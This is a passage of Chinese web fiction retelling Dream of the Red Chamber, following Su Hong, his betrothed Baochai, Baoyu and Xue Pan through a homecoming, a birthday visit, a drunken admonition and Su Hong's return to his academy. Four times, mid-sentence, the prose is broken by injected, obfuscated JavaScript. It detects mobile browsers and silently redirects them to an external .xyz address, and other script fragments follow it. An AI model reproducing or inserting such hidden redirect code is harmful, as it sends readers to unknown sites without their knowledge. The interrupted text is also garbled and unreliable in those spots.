除却昆曲儿，苏母想着甄士隐的话本如今大热，在女眷中颇为流行，他们自己人宴饮岂能不听？因而也请了两位女先儿说书，众人亦听得津津有味。酒过三巡，众人才给了赏钱，挥退小戏、女先儿，到花园处赏花灯、猜谜。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285832|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩耍到月上中天，众人才依依不舍散了。 苏鸿席间承色陪坐，未免也喝了几杯，面上带着微醺醉态。天边明月高悬，他披着斗篷坐在廊上，望着天边的圆月出神，不知为何又想起母亲所画的贵妃醉酒。 未婚夫妻不宜多见，他其实许久不曾见过宝钗了。即使从前见过，他虽知这是自己的未婚妻，只是二人一团稚气，年龄尚小，他自不会生出遐思妄念。如今被甄英莲点破，他心里未免有些不自在。 只是对于情爱一事，他心中十分困惑。 父母之间可以称得上举案齐眉、相敬如宾。他不懂爱情，但他却觉得礼教中所言的爱情模范并不足以形容尽父母间的感情。他们之间有着让他不解的情愫在脉脉流动，他有所察觉，却不能完全分辨。 那宝钗呢？她犹如天边明月，宽厚、和平、博学……还有不宜为人察觉的活泼。他自信能如父亲一样，对待妻子温厚、敬爱，做个真正的仁人君子。理所当然的，他们成婚后会像所有圣贤书中描述的那样，举案齐眉、互敬互爱。 但他并不满足止步于此，却也不知道自己真正想要什么。有心想向父亲请教，却又有着说不出的羞恼，不敢开口。苏鸿呆坐着出神。直至三更时分，万物寂籁，更深露重，他才恍惚察觉到时间流逝，回房沉沉睡去。 且说贾家迎接元春归家省亲，热闹繁盛自不必多说。贾元春在宫中多年，今日见到爹娘、兄弟姊妹，亲切感伤之余，不免为大观园的奢靡心惊。 若论豪华奢侈，贾家远不如她在宫中见闻。家中境况她虽不大清楚，但父亲既能狠心送她入宫，想也知道不会太好。如今她在宫中，因一朝侥幸协理六宫、受封贵妃，家族欣慰之余更应克勤克俭，如此奢靡过费不是长久之计，反而白费了送她入宫的心思。 眼下今上正是勤孝侍奉太上皇之时，对她虽有几分喜爱，却也是用她们家缓和与太上皇的关系罢了。君恩难测，归根结底也只是用、庸二字而已。家族子弟若是争气得用，太上皇殡天之后今上想必不会清算家族。可若不争气，又一直这般扎眼，眼前的繁华究竟能维持多久尚未可知。 思及此处，贾元春虽奖赞大观园之新奇，却也劝道日后不可如此奢靡。此言虽入众人之耳，奈何接驾一事本就马虎不得。纵是他们生性奢靡享受，却也有被架到高处、不得不如此为之的缘故。 贾元春也不好多说，思及明日回宫见驾谢恩，总要有些交代。恰巧已至正殿，便亲传笔砚伺候，择选几处最喜者联书赐名，又命诸姊妹及宝玉一匾一咏。 薛宝钗本不屑颂圣应制，歌功颂德。可她亦能意会贵妃心思，只是碍于贾家姊妹在前，便作了一首平平无奇的应制诗呈上。余光瞥见贾宝玉所写“绿玉春犹卷”，便忙回身悄推他提醒。 红香绿玉四字虽算妥当，但观贵妃之意，似乎并不喜欢二词联用。世人又常将蕉、棠并用，红香自是海棠，绿玉素来代指青竹，如今想来，改为绿蜡更佳。因而见宝玉不解，便将自己心中所想言明。 29. 生日 宝钗听宝玉团团道谢，还说不再叫自己姐姐、要改口叫自己师父等语，便忍不住笑着调侃几句。又怕宝玉耽延功夫，说笑几句便抽身走开。见黛玉行至宝玉身边，又悄悄替他作诗，不由会心一笑。 黛玉素日才思敏捷，区区几首颂圣诗，于她而言不过片刻即成。宝钗料定黛玉这首绝非先前能比，便也着意留心。果然元春喜之不尽，夸赞连连，言语中满是欣慰喜悦。 宝钗心中暗暗品味，亦觉此首极妙，寥寥几句便勾勒出一幅盛世之景。写景自然新奇，又兼之颂圣，可见黛玉亦深知元春心思。只是宝玉是贵妃亲弟，却连这点敏感性都没有，可见是老太太和姨妈太过溺爱了。 继而又随元春前去游园、赏戏，欢喜热闹之景自不必说。只是得了赐礼后，便有执事太监请驾回銮。众人见时光短暂，元春归家不过几个时辰便要离去，不由心中伤感。 反倒是元春见贾母、王夫人伤心，勉强堆笑安抚。又叮嘱些每月可入宫省视、若再归省不可如此奢靡云云，方依依不舍上舆去了。贾母与王夫人见元春离开，心中酸涩难言，婆媳二人哭得泪人一般。 众人连忙劝慰，方将她们搀扶出园。众人从今日五鼓便起，至丑时才得歇息，亦是力倦神疲，各自回房安睡。 唯宝钗生来健壮，夜长之时，总是灯下倦绣至三更方寝，熬到此时也不觉怎样。她抱着软枕倚在床头，见贾家今日繁华盛景，不由想起薛家旧事，看着不远处忽闪挑动的烛火微微出神。 自父亲死后，各处买卖局欺负哥哥年幼无知，多有坑蒙拐骗之事。叔叔虽在，但管着薛家外面的事、打点上下关系就够他忙了，自也照顾不到这里。幸而家中虽有衰落之像，但妈身体康健，哥哥根基不坏，守着家产倒也不愁什么。 想到此处，不免又想到自己，垂眸转着腕子上的牡丹缠枝累丝金镯。苏大哥哥聪慧仁孝，博学明理，又有辅国治民之志，真天生大丈夫。如此再想，家族虽不如以往，但骨肉相亲，共享天伦之乐，些微坎坷困顿，实不足记挂心上。 直到听莺儿坐在绣墩上打了个长长的哈欠，宝钗方回过神，笑道：“洗漱了睡吧，我也歇着。” 莺儿笑嘻嘻起身将烛火熄了，坐在床旁放下莲青纱帐，笑道：“我见姑娘出神，也没敢打扰。这段时日都忙得很，姑娘快休息吧。” 宝钗依言躺下，见莺儿着实困极了，刚躺下便睡得香甜不由一笑，亦阖目睡去。 元春省亲次日，今上见前朝后宫均赞他仁孝、感戴天恩，一时竟将太上皇的风头压过，心中万分得意。因而从内帑发放彩缎金银等物，赏赐贾家及各椒房等员。朝中大臣度其心思，便多有歌功颂德之语。 只是这样一来，满朝文武大臣尽去夸赞今上，太上皇自觉被儿子抢了风头，心中难免不乐。幸而有皇太后、皇太妃在侧劝慰，他才只借题发挥骂了几句。今上似无所觉，仍是孝顺模样，日日在太上皇跟前侍奉。 且说苏家，因正月二十一是宝钗的生日，便早早预备下女孩儿家的衣物、玩器，又将苏鸿所画的月下雪松图制成折扇，一并提前送过去。薛太太便命人传话，言说贾母要为宝钗过生日，不便在家摆酒请苏母等过来。 老人家要替小辈过生日，自是她的好意思。苏母等想到宝钗素日和平稳重，温柔敦厚，能得史太君的喜欢实乃常事。何况薛家客居贾家，自然是客随主便。因而苏母便与薛太太商定于二十二日小聚。 苏鸿择定二月初起身南下，因而这些日子都忙着各处拜别亲友。因苏母与薛太太商定了月底小聚，他便暂未上门拜别，只在薛蟠来给苏父请安问候时与他见了几面。 待二十二日，苏鸿便随苏母、封娘子等一并到薛家拜访。薛太太许久未见苏鸿，见他比先前更见端庄持重，身姿挺拔，全无半点纨绔之态，喜欢他更胜薛蟠三分，又细细问他在南方读书的境况。 苏鸿一一说了，又说些自己在书院读书的趣事，薛太太更加喜欢。她笑道：“怪不得你们夫妇俩舍得让鸿哥儿在外求学，有良师益友再侧，何愁金榜题名？可惜我们蟠哥儿是个棒槌性子，我是万万不敢把他放出去，生怕他成了撒欢儿的野马了。” 她对儿子的性格并非一无所知，正因此才越发不敢放纵他。眼下看着虽好，不过是因为尚有他师父、姨爹管束。若真给了他银子叫他去外头闯荡，丢了银钱事小，就怕他不知轻重得罪人。何况外头乱哄哄的，求学自有亲友照应，外出做买卖的风险就太大了。 苏母闻言笑道：“眼看蟠哥儿是该娶亲的年纪了，你也太操心了。你们这样大的家业，只要不肆意挥霍，吃上几辈子也无妨的。何况蟠哥儿心里有数，等他再大些，索性多安排些镖师护送，叫他也学着些。” 她素日知道薛太太一片慈母心肠，宝钗无需她过多操心，倒是薛蟠总是让她放心不下。只是确如她所言，薛家的家产够他们吃几辈子，有内府的官儿做，又有亲戚帮衬，总归是无妨的。 她亦深知薛蟠为人，虽为人惫懒、好享受些，但也知道好歹、通晓律法，于世情中有几分见识。何况在她看来，如今局势未明，薛蟠不费心钻营也未必是坏事。 薛太太闻言果然笑了，正要打发苏鸿去找薛蟠回来，就听外头丫头传话，说姑娘回来了。薛太太笑道：“宝丫头才去给她姨妈和老太太请安，素日都跟她们姊妹们说笑，定是听你们来了才早早回来。” 说话间，丫头们已经打帘子将宝钗让进来。宝钗给长辈们请了安，又与苏鸿、甄英莲厮见过，方轻笑道：“昨儿妈就说伯母和婶婶要来，我岂有不来拜见之理？” 她们七八日便小聚一次，惯常来往。虽有苏鸿在场，但如今亲眷在侧，也没什么好避讳的，她自是坦然自若。只是抬头看他时，见苏鸿也在看她，便冲他微微一笑，侧身避开苏鸿的视线。 苏鸿见自己无意中唐突佳人，也连忙挪开视线，只是心中鼓动。一年多未见，她眉宇间的稚气也不见踪影。观其容貌，果然如书中所写，鲜艳妩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285833|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媚，仙姿玉貌。 苏鸿方才惊鸿一瞥，不由想到大地皑皑白雪，想起天边皎皎明月。他侍立在母亲身侧，视线颇为克制地落在身旁的烟青汝窑杯上，只觉似有淡淡的冷香袭上心头，让他有些手足无措。 宝钗静静坐在母亲身旁，却想到苏鸿身姿挺拔，面如美玉，眉宇间的少年意气似是溢出来一般，不由微微抿唇。她素来善于观察，捕捉到苏鸿的眼神后便只微微一笑，忽觉面上有些发烫。 薛太太状似无意，笑着说道：“鸿哥儿，你去寻你大哥哥吃酒，他那边早预备下了，就等你来了。” 苏鸿如蒙大赦，神色一松，连忙依言前去。碍于宝钗在侧不好明言，苏母和薛太太也只是会心一笑。苏母又问宝钗昨日生辰之事，薛太太便笑道：“昨儿她们请的戏班子倒好，昆弋两腔皆有，好好热闹了一番。我听着极好，回头咱们也请来。” 且说苏鸿去寻了薛蟠，谁知宝玉正在此处。二人见苏鸿过来十分欣喜，忙厮见过，请他坐了。薛蟠便命热酒来，又笑着对宝玉道：“不是我偏心，你禀赋柔脆，这是烈酒，我可不敢给你吃。这黄酒也是上好的，你快尝尝。” 宝玉闻着苏鸿杯中烈酒的醇厚香气，不由向往。但素知表哥不比姨妈心慈，断不会心软，便只好端着黄酒一饮而尽。苏鸿见状，失笑劝道：“宝兄弟，这虽是黄酒，较之烈酒柔和鲜爽，终究也是酒。趁热慢慢品了方是养身之道，多饮伤身。” 宝玉闻言亦觉有理，不由笑着道谢，却想起从前宝钗劝他少喝冷酒之事，心中暗道怪不得是未婚夫妻。苏鸿浑然不觉，见他眉宇间似是闷闷不乐，便奇道：“往日见你总是风流潇洒，怎么今日似有心事？” 宝玉闻言，念及在场都是自己人，便叹道：“昨儿我又不知做错了什么，不过是拦着别人不要口无遮拦得罪人，却是我得罪了两方，她们两个却无事人一样相好。” 薛蟠虽不知究竟是何事，但一听便知说的是林黛玉，另一人就不知是谁了。宝玉、林黛玉自小一起长大，亲厚无比。只是过于亲近，未免有求全之毁，不虞之隙，三天两头便要生气。 依他看来，也是宝玉太不懂姑娘家的心思，总做些多余的事，才惹得人家频繁生气。 苏鸿结合宝玉之言，倒也清楚是哪件事，不由笑道：“既然是寻常一处玩笑之人，必也深为了解。她心直口快，难道另一人不知，岂有为玩笑句话就真生气的道理？依你说的，未免也太小看人了。” 他又看了眼宝玉，觉得宝钗说他“无事忙”甚为恰当。他虽不知原文里所写细节是否一一照应，现世虽有改变，料想大致并无差错。黛、湘、宝三人一处玩笑长大，黛玉岂不知湘云是“事无不可对人言”的性子，哪里会真心恼她。即便一时不快，推搡两下便又和好，也是小儿女常事。 何况戏子装扮后是王公贵族、贵妇仕女、神魔妖怪等人间万象，相似相像不过取其意态气韵罢了。本也只是玩笑话，偏偏宝玉无事生非，两头得罪。 30. 醉酒 宝玉听闻此言喜之不尽，拉着苏鸿的手笑道：“果然是苏哥哥，一眼看出了症结。可恨我平日自觉体贴，却也有此误解，真不冤也！” 他昨日还写了悟诗，今早黛玉和云妹妹、宝姐姐一起来笑话他，他心里还不解，原来竟是如此。本就无事，他自认居中调和，还觉未应酬妥帖，谁知却是他为多事所误。使个眼色，不仅小看了林妹妹，也小看了云妹妹，怨不得她们都不高兴。 苏鸿见宝玉如此说，也笑道：“既为好友，自然是认可对方的品行，她们能自己处理，你何必在中间横插一脚。关心体贴……”他的神情微妙一顿，“也是你难得的好处。” 他揣度宝玉未必愿意听更多的，更未必能听进去，便也不与他对牛弹琴。何况宝玉天性中带着一段痴意，凡他在女儿堆里，只把他当女孩儿看就罢了，倒用不着去挑剔他的礼节。 现世多少男儿尚不能将女儿看成和他们平等的人。比起他们，宝玉能有这般温柔体贴，认定女儿最为尊贵、清净，男人反倒是浊臭逼人，已是难得了。 宝玉听苏鸿虽是读书人，生性却亦有一种风流潇洒，并不似拘泥古板夫子一般，心中大为快慰。看得薛蟠在一旁心情微妙，看眼宝玉，又看看苏鸿，一边添酒一边问道：“你们二人也是奇了，这样投契？” 宝玉为人不喜读书，不通世务，天天在内帷厮混。在外人跟前虽有礼节，但终究是个纨绔子弟、富贵闲人。苏鸿与他见了不过两次，却能与他说得有来有往，还颇为认可宝玉，让他也有些摸不着头脑。宝玉那一套女儿是水、鱼眼珠子云云，听起来可不像正经男人会说的话。 苏鸿不欲多言，笑着举起酒壶凑到薛蟠身旁道：“好师弟，难不成你因着师兄疼你表弟几分就不受用了？快来，师兄给你满上！” 薛蟠便也不在纠结，他有时也不能理解师兄的想法。但师兄也从未强求过他理解，和而不同，本是如此。 二人相谈甚欢。酒过三巡，苏鸿面染红霞，神思微顿，不留意时竟出言劝道：“宝兄弟，你我颇为投契，我不好不言。荀子有云，由礼则和节，由礼则雅。你是一片赤诚真心，并不存私情邪欲，只是旁人未必知你心意，只当你是邪魔外道。你是王孙公子，板子自打不到你身上，可跟着你的人是要受苦了。” 贾宝玉这样的王孙公子，身边服侍的丫鬟自然要规劝他的不妥。不然一旦出了事，最先被处置的就是她们。谁都想活命，宝玉虽好，性子却怪癖，身边服侍的人少不了胆战心惊的。何况黛、湘等已非小儿之时，相见玩耍无可避讳，太过亲近难免令小人生出口舌是非。 女儿家比不得男人，奴仆亦比不得主子，何苦给别人招祸。 宝玉本是酒酣耳热，心中喜欢，闻言似是被一盆凉水兜头浇下，脸色顿时就不好看，撂下筷子就倏忽起身要走。他最厌旁人说这些规矩，一个个的比腐儒还厉害。前儿袭人劝他就罢了，没想到苏鸿这样的人竟也说这样的话，果然浊臭逼人！ 薛蟠听苏鸿竟说这话，筷子都惊得咣当一声掉进盘子里。他见宝玉不喜，便连忙哄劝道：“好兄弟，好妹妹，好姑娘，你是心地宽大的。我师兄吃了酒一时醉了，你别和他一般见识。” 师兄今日真是喝多了，不然此言绝不会出口。尽管是好话，但贾宝玉动不动就发癫的事谁都知道，何苦惹他不高兴，还白惹得一身臊。 苏鸿亦被惊住，没想到宝玉反应这样大，晃荡一下才站稳，揉了揉额角连连给宝玉赔不是。宝玉本也是一时气急，见薛蟠喊他好妹妹好姑娘，苏鸿又给他赔不是，心里的气便也消了。只是眼下也没有心情再喝，不冷不热地寻了借口自去。 薛蟠送走宝玉，回身就见苏鸿醉倒在小榻上，已经是迷迷糊糊了。薛蟠喊了两句，见他不醒便一拍大腿叹道：“我这是做了什么孽，两个都没照顾好，这下都该削我了！” 他一叠声儿吩咐人去煮醒酒汤，听到动静来探问的宝钗便问道：“哥哥，这是怎么了？我怎么听见宝兄弟气冲冲去了，苏哥哥怎么不见？可是喝醉了？” 薛蟠见宝钗来，更是唉声叹气，只悄悄拉她到屋内。宝钗见苏鸿人高马大地窝在小榻上，面染红霞，颇有醉玉颓山之态，一时也惊住。她多看了两眼，又蹙眉道：“哥哥怎么也不看着些，苏哥哥素日不好吃酒，如今醉成这样，酒醒了必是头痛的。” 薛蟠闻言顿觉冤枉，苏鸿去了江南一年，他怎么知道苏鸿的酒量有没有进步。他感到一言难尽，哀叹一声道：“是我不好，已经让人去熬醒酒汤了。” 宝钗见苏鸿情况尚好，这才放下心，听薛蟠十分委屈也是一笑。她道：“哥哥最为年长，席间自然要照应弟弟们的。说来，宝兄弟怎么走了？” 薛蟠闻言咬咬牙，冷哼一声道：“都是酒惹出来的。安和本不是多嘴之人，吃了酒就去劝宝玉懂礼仪规矩，把宝玉气走了。宝玉也是个棒槌，大家公子，说的又是好话，总不能叫人脸上过不去。他起身要走，安和赶紧赔不是，就这也没拦住他。” 宝钗闻言，心中便明白了八九分。宝玉素来恶劝，只是在外人面前的规矩礼仪并不出错。他定是已将苏哥哥引为知己，却不料听到苏哥哥劝他，自觉受骗，又吃了酒，这才有这样大的反应。明日等他酒醒，想到苏哥哥所言不错，定是会去赔不是的。 只是苏哥哥不是无的放矢之人，他定是知道些什么。宝钗想到此处也觉心惊，宝玉的行为虽略有出格，但他与黛玉湘云一起长大，又都是亲戚，论理谁也说不出什么，也不是什么了不得的大事。可是……连苏哥哥这样不好说闲话、议论是非的人都知道贾家的事，外头的人又会知道多少？ 思忖间，见丫鬟送来醒酒汤，宝钗便下意识接过来。回过神却见手上多了碗汤药，又转手递给了薛蟠。薛蟠一怔，虽觉有丫鬟代劳喂苏鸿喝醒酒汤，但妹妹既然给自己，一定有她的道理，便亲自上前将苏鸿摇醒叫他喝汤。 苏鸿被薛蟠轻轻摇醒，醉眼惺忪却见逆光处立着宝钗，恍惚间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285834|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如神女下凡，似秋菊披霜，又似霞映澄塘，一时怔了。脑海一片空白，半晌才喃喃念道：“烂兮若烛龙衔耀照昆山，粲兮若冯夷剖蚌列明珠……” 薛蟠只以为苏鸿是喝多了在吟诗，见他一脸呆像，怕他喝酒喝傻了，连忙死命摇他，一边哄着：“好亲亲的师兄，快喝了醒酒汤，饶了我吧。” 苏鸿被摇得头晕眼花，险些要吐出来，才恍惚间清醒过来，连连制止道：“……师弟？别，别晃了，我喝……”说着接过醒酒汤一饮而尽，不过片刻就觉胃里舒服些，连带着头痛也似减轻。 宝钗轻声道：“哥哥，喝了醒酒汤就先让苏哥哥躺下休息吧，我去告诉妈和婶婶。” 她自是听见苏鸿嘟囔的那两句，虽是描摹雪景，但她莫名觉得苏鸿口中的并非雪。她想到苏鸿醉酒的模样，心跳如鼓，捏紧了手中的绣帕，片刻才放松下来，整理好思绪去寻薛太太等人。 她自然不会把苏鸿劝宝玉反而下不来台的事说出来。这原也不是要紧事，阖府上下连带着亲戚家里，谁不知道宝玉性格怪癖，时不时就要作一回。连老太太和姨妈都习惯了，没人多事去苏鸿面前找不痛快。何况相熟的好友酒后起了口角也是常事，明日酒醒了任他们自己解决就是，旁人掺和反而坏事。 苏母听闻苏鸿醉酒略有些惊讶。苏鸿在家饮酒极为克制，顶多微醺罢了，不会放任自己酒醉。但想到薛蟠的性子，他手里的酒定是上好的烈酒，喝着方有滋味。也许是苏鸿未能预估自己的酒量，这才醉倒。 她便笑道：“这也没什么，小孩儿家贪酒。只是今儿我怕是带不走，就辛苦蟠哥儿照顾他了。” 薛太太笑道：“我们家那崽子不知道给鸿哥儿喝了什么，索性让他操心去吧。在这儿只管放心，他们师兄弟一块儿混过来的，叫鸿哥儿用他师弟的东西就行。” 二人说定了，便将英莲留下小住，苏母和封娘子先行离开。离了长辈身边，甄英莲才促狭一笑，拉着宝钗要一起到里间去。薛太太只以为她们姊妹多日不见，要说些体己玩笑话，也不在意，任由她们自去。 甄英莲和宝钗坐定，宝钗见甄英莲这样促狭，心里已然猜着几分。她心中好奇，低声问道：“你怎么神神秘秘的，有什么事还不快说？” 甄英莲方蹑手蹑脚伏到她耳边将那日看花灯一事细细说了，待说道苏鸿羞得满脸通红，跑到廊上立着吹冷风时更是忍不住笑起来。宝钗先是一笑，随即耳根通红，两手捂住发烫的脸颊道：“好你个英莲，这就来捉弄我了！” 说着便将手中的绣绷掷在炕上，抓住英莲要挠她痒痒。英莲见宝钗素来端方持重，少见活泼之态，本是有意逗宝钗一笑。见她果然上钩，便连忙下地去躲，一边又笑嘻嘻道：“人家不过是看到什么就说什么，姐姐可别错怪我！” 正说着，薛太太听见她们在屋里乐，也笑着进来，英莲连忙搂着薛太太的腰躲在她身后。一边探出头去看宝钗，求饶道：“好姐姐我再也不瞎说了，饶了我吧！” 31. 再劝 薛太太一边笑着搂过英莲坐到炕上，一边笑着问道：“你们姊妹俩说什么呢，这样热闹。” 宝钗闻言面上发红，一头伏在薛太太怀里只是不好意思。英莲笑嘻嘻道：“我说上元节在家，瞧见我婶婶画的美人图，身韵姿态有两分跟姐姐相似呢。姐姐不好意思，就要挠我痒痒。” 薛太太闻言便信以为真，笑着搂住她们两个道：“我的儿，你们姊妹几个生得好，品行更好，比天上神女还强几分。我和贾家老太太闲话时，都说见你们姊妹几个，比三伏天吃了冰还爽利呢。” 她见过的亲戚家姑娘不少，贾家、林家的这几位姑娘虽说性情不同，但样样都拔尖。若说不如意，便也是林丫头现今父母双亡，族人凋零，只能寄居在贾家。好在史太君疼她，倒也可稍稍弥补。 只是再怎么样受宠，没了亲娘，史太君年纪也大了，恐怕也有许多不如意之事。另一则，女孩儿家的终身大事也是头等要紧，也唯有史太君肯全心为她主张。 史太君想得倒好，若将林丫头聘给宝玉，一来青梅竹马，谢女檀郎，定是和美夫妻。二来，林丫头不能操劳，管家权也可自然而然回到大房。届时，凤丫头是大房的媳妇，又是二房的内侄女，谁也说不出什么。 只是她素知姐姐将宝玉看得眼珠子一样，二房失了管家权，宝玉的待遇不言自明。何况黛玉不能劝谏宝玉，又身体孱弱，姐姐定是不肯松口。何况宝丫头无端被和尚给了八字谶言，她心里也不自在。 她掩下心绪，搂着两个女儿说笑。 第二日一早，苏鸿思及过几日就要南下，须得归家打点行装，也不好在此处逗留。早起洗漱了，便连忙到里头给薛太太问安告辞。薛太太苦留不住，便只好让薛蟠将他送回家去。 一时二人去了，不多时宝玉便到梨香院来寻薛蟠。昨儿喝多了一时性急，今早起来颇觉后悔。毕竟苏鸿不曾劝什么过分的话，细究起来也不是为奚落他，更是为旁人考虑。只是他近日听这些话都觉得耳朵起茧子了，这才没控制住。 苏鸿待他真心，又是未来的表姐夫，他也不好就这样含糊过去，今日便要亲来致歉。只是听姨妈说薛蟠和苏鸿都到苏家去了，便只好恹恹回去，等薛蟠回来再做打算。 只是一拖便是数日功夫，直待苏鸿要南下前一日，薛蟠为苏鸿践行之时，他才找到机会给苏鸿致歉。苏鸿素知他的脾性，自不会怪罪，反而笑道：“宝兄弟不必这般，也是我那日唐突。” 宝玉闻言，方问道：“这几日我琢磨许久，都不明白苏大哥何出此言。” 他自认并没有什么出格行为，虽有了袭人等同寝，却也是大家公子常事，世人本不以为怪。何况他院子里又没人说三道四，也不知究竟是怎么传到外头去，更是让苏大哥这样不常在京的人知道。 想到此处，他不由疑心是薛蟠在背后说了什么。 “你……”苏鸿有些奇怪地看了宝玉一眼，“我家这样的小门小户行动间尚有人知道，何况你们家。你身边奴仆如云，纵是不刻意对外说，婆子、丫鬟们寻亲觅友，闲话几句也是常事。你喜欢吃人口上的胭脂，在外并不是什么秘密。” 苏鸿见宝玉惊诧，方诚恳道：“并非我危言耸听，实是世事如此。你被你们老太太看得眼珠子一样，婆子、丫鬟和小厮们哪个敢不细心照看你，行动间少说有几十双眼睛盯着。是人便会开口说话，一传十，十传百的，传来传去谁会细究源头是谁，只是那些小人的言语越发不堪了。” 宝玉自小在府上娇生惯养，哪里跟外头的人接触过。便是府上的婆子丫鬟们，除了贴身侍奉的丫鬟们，也少有近身服侍的，也不过是脸熟而已。因而听苏鸿如此说，方知世上还有如此事，也是一惊。 他张口想问什么，却也不敢说，便只殷切问道：“苏大哥，外头都说我些什么？” “……”苏鸿斟酌片刻，“你何须管外人说什么，都是些以讹传讹的闲话。你只记着，别管姑娘们还是丫鬟们，仍要温文有礼，莫要任情任性便是。例如胭脂，你若爱吃，哪怕吃一盒子也无人说什么。何苦去吃丫鬟口上的，也吃不痛快。” “何况你是爷，便是名声坏了也寻不到你身上，可你身边伺候的人要怎么活？若只与自己房里丫鬟亲近就罢了，那些不归你房里的丫鬟又该怎么办。你既体贴她们，就该保全她们身家性命才是。” 欲之一字害人不浅。若非宝玉的欲，金钏何至于落得跳井自杀。若说宝玉不是因欲望，只是单纯喜欢，也不见他唐突姊妹姑娘们。可见终究是富贵公子，心中亦有分别。 细论起来，连他房里的丫鬟他也不该染指。只是世道如此，为人奴仆，又怎能拒绝主人的索取。贾家大族人家，只怕代代都是这样过来的，丫鬟们未必能想到她可以拒绝，公子爷们也不会去想丫鬟是否愿意。 宝玉闻言怔怔的，脸羞得通红，倒让苏鸿也觉说得过分了。恰巧因他们二人在外说得久了，薛蟠出来找寻，他们便连忙住口，一同进屋吃酒。 且不提宝玉想到苏鸿所言忧惧，却连对外查证的能力都没有。每每故态复萌之际，苏鸿的警告之言犹在耳边，便也不敢再跟丫鬟们拉拉扯扯、动手动脚的。贾府老少尽皆惊奇宝玉转性，但见他仍是温柔体贴，便都夸赞是长大懂事了。 唯有薛蟠知道一二，心中啧啧称奇。如此劝告，也唯有苏鸿可以说出口却不引得宝玉厌恶，也亏得宝玉真能听进去。 苏鸿择定二月初一起身南下，当下早已离都，三月初便回到书院。时隔数月，他房内早已落满了灰尘，见他回来，亲近的师兄弟们便过来帮着一起洒扫。 苏鸿换了方便的衣裳，一边用布巾沾了水擦书桌，一边扣下书桌上长出的不知名菇类。他擦了擦额角的细汗，蹙眉道：“江南哪里都好，就是天气潮热，连桌子都能发霉长菇子。” 他在国子监的时候就没有这样的烦恼。 纪花明帮他扫着蜘蛛网，翻了个白眼道：“你要日日都在书院安分读书，它也长不出来。快别废话，等会儿抖抖床铺，别让里头夹带着什么虫子。” 另一旁的师兄笑道：“过两年就是大比之年，你们到京城搏得进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285835|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士出身，自是不用再受这边蚊虫的苦了。” 苏鸿一叹，摇头晃脑道：“罢了罢了，天将降大任于是人也……” 众人笑作一团，只是不知谁先起头，说道：“去年回去，我奉父母之命娶亲。过几日等我赁了房子，就将我娘子接来此处同住，就不与你们在校舍了。” 一时恭喜声不绝于耳，喜得那位师兄团团作揖。苏鸿虽好奇先前不曾听过，但想到他有未婚妻亦然不曾与旁人说过，便也不曾在意。只是众人越扯越远，纷纷打开了话匣子。 忽而有人问道：“纪师兄今年十九了，难道令尊令堂没有安排不成？再不然，山长也该安排。” 他们的目光落在纪花明和苏鸿身上，虽是带着笑意，却多了几分意味不明。苏鸿也就罢了，父亲是翰林，未来定也是娶在都的官宦小姐。只是纪花明家世不显，唯一的靠山就是山长，尚不知他未来会娶哪家的小姐。 他们家中不乏有姊妹的，纪花明学识广博，定能金榜题名。若能将姊妹嫁给他，也能与他多几分联系。 纪花明见竟扯到自己身上，笑道：“婚姻大事全凭父母做主，我哪里知道父亲母亲的想法。大约是要春闱之后再提此事，你们可别开我玩笑。” 众人听了不着痕迹对了个眼神，便连忙岔开话题。收拾齐整后，苏鸿便招呼大家换了衣裳，一并到外头用饭。 待宴席散后，苏鸿才和纪花明说些别后诸事。虽说都以师兄弟相称，只是唯有纪花明是他嫡亲的师兄，二人也更亲近。 私下无人处，纪花明翘着脚躺在小榻上，见苏鸿还规规矩矩坐着写信，不由笑道：“你就这样想你家人？说来你年纪也不小了，令尊难道没为你定亲？” 苏鸿眼中划过一丝笑意，说道：“出门在外，父亲母亲都极为担忧，我闲暇时自然该多多问候。至于婚事……我自小便有婚约，只是尚未走礼，所以不曾张扬。” 纪花明闻言笑道：“还是你心思细腻，我隔一两月便回家，倒也用不着写信。只是既然有婚约，为何连聘书都没有下？” 口头婚约可不牢靠，苏家也不像言而无信的人家，难道是女方怕苏鸿考不上进士？ 